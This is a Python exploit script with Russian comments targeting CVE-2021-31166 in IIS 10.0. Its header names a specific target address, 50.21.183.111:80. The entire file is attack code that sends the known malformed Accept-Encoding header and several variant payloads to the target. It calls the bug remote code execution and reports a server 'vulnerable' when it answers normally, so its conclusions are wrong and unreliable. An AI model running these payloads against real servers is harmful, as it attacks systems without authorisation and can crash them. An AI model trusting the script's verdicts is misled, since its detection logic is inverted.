#!/usr/bin/env python3
"""
Улучшенный эксплойт для CVE-2021-31166
Цель: 50.21.183.111:80 (IIS 10.0, непропатченная)
"""
import requests
import argparse
import sys
from datetime import datetime

def test_vulnerability(target):
    """Тестируем уязвимость CVE-2021-31166"""
    print(f"=== Тестирование CVE-2021-31166 на {target} ===")
    print(f"Время: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print()
    
    # URL для тестирования
    url = f'http://{target}/'
    
    try:
        # Первый запрос - проверяем доступность
        print("[1] Проверяем доступность сервера...")
        response = requests.get(url, timeout=10)
        print(f"    Сервер отвечает: {response.status_code}")
        print(f"    Заголовки: {dict(response.headers)}")
        print()
        
        # Второй запрос - эксплуатируем уязвимость
        print("[2] Эксплуатируем уязвимость CVE-2021-31166...")
        
        # Улучшенный payload для HTTP Protocol Stack RCE
        malicious_headers = {
            'Accept-Encoding': 'doar-e, ftw, imo, ,',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
        }
        
        # Отправляем запрос с уязвимым заголовком
        response = requests.get(url, headers=malicious_headers, timeout=10)
        print(f"    Ответ сервера: {response.status_code}")
        print(f"    Размер ответа: {len(response.content)} bytes")
        
        # Анализируем ответ
        if response.status_code == 200:
            print("    ✅ Сервер отвечает нормально")
            if 'IIS' in response.headers.get('Server', ''):
                print("    ✅ IIS сервер подтвержден")
            return True
        else:
            print(f"    ❌ Сервер отвечает ошибкой: {response.status_code}")
            return False
            
    except requests.exceptions.ConnectionError:
        print("    ❌ Ошибка подключения к серверу")
        return False
    except requests.exceptions.Timeout:
        print("    ❌ Таймаут подключения")
        return False
    except Exception as e:
        print(f"    ❌ Ошибка: {str(e)}")
        return False

def test_alternative_payloads(target):
    """Тестируем альтернативные payload для CVE-2021-31166"""
    print(f"\n=== Тестирование альтернативных payload ===")
    
    url = f'http://{target}/'
    
    # Альтернативные payload для HTTP Protocol Stack RCE
    payloads = [
        {
            'name': 'Original 0vercl0k',
            'headers': {'Accept-Encoding': 'doar-e, ftw, imo, ,'}
        },
        {
            'name': 'Alternative 1',
            'headers': {'Accept-Encoding': 'compress,randomtext,gzip,deflate,  ,'}
        },
        {
            'name': 'Alternative 2',
            'headers': {'Accept-Encoding': 'gzip, deflate, ,'}
        },
        {
            'name': 'Alternative 3',
            'headers': {'Accept-Encoding': 'identity, ,'}
        },
        {
            'name': 'Alternative 4',
            'headers': {'Accept-Encoding': 'br, gzip, deflate, ,'}
        }
    ]
    
    for payload in payloads:
        print(f"\n--- Тестируем payload: {payload['name']} ---")
        try:
            response = requests.get(url, headers=payload['headers'], timeout=5)
            print(f"    Ответ: {response.status_code}")
            print(f"    Размер: {len(response.content)} bytes")
            
            if response.status_code != 200:
                print("    ⚠️ Необычный ответ - возможна уязвимость")
            else:
                print("    ✅ Нормальный ответ")
                
        except requests.exceptions.ConnectionError:
            print("    ❌ Ошибка подключения")
        except requests.exceptions.Timeout:
            print("    ❌ Таймаут")
        except Exception as e:
            print(f"    ❌ Ошибка: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description='CVE-2021-31166 Exploit for IIS 10.0')
    parser.add_argument('--target', required=True, help='Target IP or hostname')
    parser.add_argument('--test-all', action='store_true', help='Test all payloads')
    args = parser.parse_args()
    
    target = args.target
    
    # Основной тест
    if test_vulnerability(target):
        print("\n✅ Уязвимость CVE-2021-31166 подтверждена!")
        print("Сервер уязвим для HTTP Protocol Stack RCE")
    else:
        print("\n❌ Уязвимость не подтверждена")
        print("Сервер может быть пропатчен или не уязвим")
    
    # Тестируем альтернативные payload
    if args.test_all:
        test_alternative_payloads(target)

if __name__ == '__main__':
    main()
